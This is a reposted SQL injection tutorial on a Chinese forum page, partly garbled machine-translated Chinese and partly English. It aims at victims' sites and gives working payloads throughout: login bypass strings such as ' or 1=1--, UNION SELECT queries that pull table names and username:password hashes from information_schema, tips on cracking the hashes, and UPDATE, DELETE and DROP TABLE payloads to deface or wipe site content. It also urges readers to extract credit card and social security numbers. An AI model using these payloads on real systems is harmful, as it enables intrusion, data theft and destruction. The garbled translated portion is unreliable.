注册
登录
| 关键词： article table site password Code version tbluser columns SELECT username |
secure-hiphop的空间:http://hi.baidu.com/securehiphop 有兴趣看的人丢给谷哥翻译 只是一般资讯..数据库的应用程序存储数据的收集。提供各种数据库的API ，用于创建，访问和管理它的数据。和数据库（ DB ）的服务器可与我们的网络发展，使我们能够拿起东西我们希望从数据库中没有太多的困难。数据库可举行各种重要的信息像用户名，密码，信用卡关心等因此，数据库需要担保，但许多数据库服务器运行的insecured或者bcoz他们的脆弱性或bcoz贫困的编程处理。命名几个数据库服务器， MySQL的（开放源码） ，数据库，质谱，交通，甲骨文， Postgre数据库（开放源码） ，的SQLite等 什么是SQL注入 SQL注入可能是最丰富的编程漏洞，存在于互联网上本。它是通过它的脆弱性未经授权的人可以访问各种关键和私人数据。 SQL注入是不是这个安全漏洞在Web或数据库服务器，但是，但由于贫困和缺乏经验的编程做法。这是一个致命的以及简单的攻击，执行从远程位置。在SQL注入我们与数据库服务器的各种命令和获取各种数据从它。本指南中，我将讨论3个方面的SQL注入即绕过登录，访问秘密数据和修改网页的内容。因此，让我们的头部着真正的漫游.. 绕过登录 假设，一个网站的登录表单＆只有注册用户可以进入该网站。现在，说ü想绕过登录和输入网站的合法用户。如果登录脚本没有正确消毒的程序员， ü可能有运气进入该网站。 ü可以登录到该网站不知道真正的用户名和密码，真正的公正与数据库服务器，所以并不美丽的SQL注入！ 让我们看看一个例子，那里的用户名admin的密码sam207可以登录该网站。假设，在SQL查询，这是开展如下： 码： Code:SELECT USER from database WHERE username='admin' AND password='sam207' 如果上述选择Command评价真实，用户将有机会到现场，否则没有。认为我们可以做如果脚本不消毒。这将打开一个大门黑客获得非法进入该网站。在这个例子中，攻击者可以输入下面的用户数据的登录表单 代码： Code:username:a or 1=1--password:blank 因此，这将使我们的查询 Code:SELECT USER from database WHERE username='a' or 1=1-- AND password='' 请注意，运营商和任何评论后，将被忽略的评论，存在着另一种意见是运营商/ * ，所以我们上述的查询变得 代码： Code:SELECT USER from database WHERE username='a' or 1=1 现在，这个查询评估即使没有用户的所谓''a' bcoz 1=1永远是真正的和使用，或使其成为真正的查询时，返回的查询是真的。 ，这给进入网站管理小组。就不可能有各种其他的用户名和密码组合发挥的脆弱网站。 ü可以创建自己的乌拉圭回合新组合的网站的登录名和，例如组合 码： Code:username:' or 1='1 password:' or 1='1username:' or '1'='1' password:' or '1'='1'username:or 1=1 password:or 1=1 并有更多的cheat sheets，只是谷歌的都是绕过登录。 获取机密资料 SQL注入是不会做的基本上只有绕过登录但它也用于访问的敏感和机密资料的数据库服务器。这一部分很长，所以我将讨论在小节。 检查安全漏洞 Suppose u got a site as following Code:www.site.com/article.php?id=5 Now to check if it is vulnerable, you would simply add ' in the end i.e. where id variable is assigned, like the following example Code:www.site.com/article.php?id=5' 现在，如果该网站是不容易，它的过滤器和网页加载正常，但如果没有过滤器查询字符串，它将使类似下面的错误 码： Code:MySQL Syntax Error By '5'' In Article.php on line 15 或错误，说我们检查正确的MySQL的版本或MySQL的获取错误或有时只是空白页。该错误可能会以任何形式。因此，它使我们相信，该网站是脆弱的。 寻找列数 所以，现在的时间去寻找列数本，为此，我们将使用'秩序' ，直到我们得到的错误。这是我们使我们的网址查询 码： Code:www.site.com/article.php?id=5 order by 1/*//this didn't give error. Now, I do increase it to 2.www.site.com/article.php?id=5 order by 2/*//still no error So, we need to increase until we get the error.In my example, I got error when I put the value 3 i.e.www.site.com/article.php?id=5 order by 3/*//this gave me error. So it means there are 2 columns in the current table(3-1=2), This is how we find the number of columns. Addressing Vulnerable Part Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page. Code:www.site.com/article.php?id=5 UNION ALL SELECT 1,2/* Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. So, this means we can replace the number with our commands to display the private data the DB holds. In my example 1 is seen on the page, this means i should replace 1 with my things to proceed further so lets move forward. Finding MySQL version For our injection it is necessary to find the MySQL version bcoz if it is 5 our job becomes lot easier, to check the version, there is a function @@version or version(), so what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below Code:www.site.com/article.php?id=5UNION ALL SELECT @@version,2/* So this would return the version of MySQL running on the server but sometimes u may get error with above query, if that is the case do use of unhex(hex()) function like this Code:www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/* Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process. @@version will give u the version, it may be either 4 or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection. MySQL 5 or above injection Here, I m gonna show u how to access data in the server running MySQL 5 or above. U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. it contains name of all tables and columns of the site. For getting table list we use Code:table_name from information_schema.tables For getting column list we use Code:column_name from information_schema.columns So our query for getting the table list in our example would be Code:www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/* And yeah if u had to use unhex(hex()) while finding version, you will have to do Code:www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/* This will list all the tables present in the DB, for our purpose we will be searching for the table containing the user and password information. So we look the probable table with that information, you can even write down the table names for further reference and works, for my example, I would use the tbluser as the table that contains user & password. similarly to get the column list, we would make our query as Code:www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/* This returns all the columns present in the DB server, Now from this listing we will look for the probable columns for username and password. for my injection there are two columns holding these info. They are username and password respectively so that's the column what I wanted. U have to search and check the columns until u get no error. Alternatively to find the column in the specific table u can do something like below Code:www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser' This would display the columns present in the table tbluser but this may not work always. let me show u how i got to know that the above two columns belong to table tbluser, now let me show how to display the username and password stored in the DB. There is a function called concat() that allows me to join the two columns and display on the page also i will be using (colon) in the hex form, its hex value is 0x3a (that's zero at beginning not alphabet o) and what i do is the following Code:www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/* This would display the columns present in the table tbluser but this may not work always. let me show u how i got to know that the above two columns belong to table tbluser, now let me show how to display the username and password stored in the DB. There is a function called concat() that allows me to join the two columns and display on the page also i will be using (colon) in the hex form, its hex value is 0x3a (that's zero at beginning not alphabet o) and what i do is the following Code:www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/* And this gives me the username and password like below Code:admin:9F14974D57DE204E37C11AEAC3EE4940 Here the password is hashed and in this case, its MD5 now u need to get the hash cracker like Cain & Able & John The Ripper To crack the hash, the hash may be different like SHA1 or sometimes plain-text password may be shown on the page in this case when i crack i get the password as sam207. now u get to admin login page and login as admin then u can do whatever u like so that's all for the MySQL version 5. MySQL version 4 injection Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error, for example u would do as below Code:www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/* Here, i guessed for the table name as user but this gave me the error bcoz the table with the name user didn't exist on the DB, now i kept on guessing for the table name until I didn't get error, when i put the table name as tbluser the page loaded normally so i came to know that the table tbluser exists. Code:www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/* The page loaded normally now again u have to guess the column names present in the tbluser table. I do something like below Code:www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*//this gave me error so there is no column with this name.www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*//It loaded the page normally along with the username from the table.www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*//it errored so again the column pass doesnot exist in the table tbluser.www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*//the page loaded normally with password hash(or plaintext password). Now you may do this Code:www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/* This gave me Code:admin:9F14974D57DE204E37C11AEAC3EE4940 On cracking i got sam207 as password now i just need to login the site and do whatever i wanted, few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. You may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds, just what u need to do is figure out the columns and get them displayed on the vulnerable page, that's all on the injection for accessing secret data. Modifying Site Content Sometime u find the vulnerable site and get everything to know but maybe admin login doesn't exist or it is accessible for certain IP range even in that context, u can use some kewl SQL commands for modifying the site content, i haven't seen much articles addressing this one so thought to include it here, i will basically talk about few SQL commands u may use to change the site content, these commands are the workhorse of MySQL & are deadly when executed. First let me list these commands Code:UPDATE: It is used to edit infos already in the db without deleting any rows.DELETE: It is used to delete the contents of one or more fields.DROP: It is used completely delete a table & all its associated data. Now u could have figured out that these commands can be very destructive if the site lets us to interact with db with no sensitization & proper permission. Command Usage Code:UPDATE: Our vulnerable page is:www.site.com/article.php?id=5 Lets say the query is Code:SELECT title,data,author FROM article WHERE id=5 Though in reality we don't know the query as above, we can find the table and column name as discussed earlier. So we would do Code:www.site.com/article.php?id=5 UPDATE article SET title='Hacked By sam207'/*or, u could alternatively do:www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY SAM207',data='Ur site has zero security',author='sam207'/* By executing first query, we have set the title value as 'Hacked By sam207' in the table article while in second query, we have updated all three fields title, data and author in the table article, sometimes u may want to change the specific page with id=5, for this u will do Code:www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/* DELETE: As already stated, this deletes the content of one or more fields permanently from the db server. The syntax is Code:www.site.com/article.php?id=5 DELETE title,data,author FROM article/*or if u want to delete these fields from the id=5 u will dowww.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/* DROP: This is another deadly command u can use. With this, u can delete a table & all its associated data. For this we make our URL as Code:www.site.com/article.php?id=5 DROP TABLE article/* This would delete table article & all its contents. Code:I want to say little about ;Though I have not used this in my tutorial, u can use it to end ur first query and start another one.This ; can be kept at the end of our first query so that we can start new query after it. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
